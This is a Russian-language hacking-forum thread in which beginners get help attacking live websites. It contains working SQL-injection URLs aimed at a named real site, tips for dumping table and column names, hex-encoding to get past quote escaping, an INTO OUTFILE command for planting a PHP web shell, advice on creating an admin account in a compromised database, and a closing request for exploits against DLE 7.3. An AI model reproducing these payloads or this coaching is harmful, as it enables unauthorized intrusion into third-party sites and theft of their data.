ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Доброго всем дня, движок стоит interspire shopping cart, каким образом можно определить версию, которая установленна в данный момент?

Создай себе админа в бд, зайди в админку, и установи модуль mod_php, он всё выводить должен.

Если будет резать код при сохранении, просто зайди в настройку пользователей, выбери своего пользователя, и отключи редактор.

подскажите в чём дело.. Ситуация такая, сделав запрос такого вида

_http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,table_name,4,5,6,7,8,9,10,11% 20from%20information_schema.tables%20limit%2029,1--

я получаю название таблицы "usedboard", теперь хочу прочитать содержание этой таблицы, делаю запрос такого вида

_http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,column_name,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='usedboard' LIMIT 1,1 --

поидеи как я читал этот запрос должен мне показать содерживое таблицы "usedboard", но вместо этого он мне выкидывает ошибку "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'usedboard\' LIMIT 1,1 --' at line 1"

такая проблема не только с этим пациентам, с десяток разных сайтов перепробовал неполучается прочитать и ошибки не везде одинаковые пишет.

P.S. только начинаю осваивать данное дело, тапками не кидаться

Возможно в другой БД твоя таблица, подбери так:

Потом from+db.table

Ну ты грузанул канеш.. ничего не понял с твоего запроса, я пока что на стадии изучения -5+union+select+1,..., а так мои запросы правельные? я думаю может в них я что то не правильно пишу, спасибо за помощь, а ещё буду благодарен за мануал где используются запросы твоего вида

------------------------

Наугад переберал запросы вида

http://www.witchcraft.nu/newsitem.php?id=-362+union+select+1,2,id,4,5,6,7,8,9,10,11+from+use dboard+limit+1,1--

пытался найти мне нужное поле, попал только на одно существующие "ID", все не правельные выводились ошибкой "Unknown column 'login' in 'field list'", так почему же у меня неполучается прочитать какие поля существуют в usedboard

почти правильный, у тебя там на сайте magic_quotes_gpc = on поэтому нужно избегать ковычки, нужно хексить имя таблицы, т.е. сейчас у тебя так:

... where table_name='usedboard' LIMIT 1,1 --

а нужно

... where table_name=0x75736564626f617264 LIMIT 1,1 --

в мане все есть, тем более ошибка сама намекает на проблему

зы предугадывая ход твоих мыслей, онлайн декодировщик в хекс http://www.string-functions.com/string-hex.aspx

зыы по поводу запроса от Ereee, это error based техника, ман по ней гуглится легко, но лучше начни с основ.

спасибо за помощь, с этим разобрался, бывает такое что в бд нет логина и пароля админа, врятли да? хренова искал походу..

trololoman96 я согласен с вами что в мануале всё есть, но найти это тоже не просто, даже через поиск

прочитал что если команда user() выдаёт значение username@localhost, то получается есть возможность залить шелл локально, нашёл вот такую команду "UNION SELECT 1,2,3,'',5,6 INTO OUTFILE '1.php'; --" как понял к 1.php надо подставить путь который можно узнать в phpinfo на сервере пациента, но что делать с этим куском кода ''?

ещё путает один нюанс, тоже всё с мануалов путает немного, дело в том что все начинают делать запросы по разному вот несколько примеров

-362+union+select+1,...

362+union+select+1,...

362+and(1=2)+union+select+1,...

null+union+select+1,...

так же в конце запроса видел разную концовку ( -- /* ), играет это какую нибудь роль? если да ткните носом в мануал где это расписано для усвоения материала

/thread43966.html

Ребят подскажите sql иньекции для dle 7.3 дабы она старая думаю вас незатруднит)

ну или фак по взлому мож кто кинут с меня +!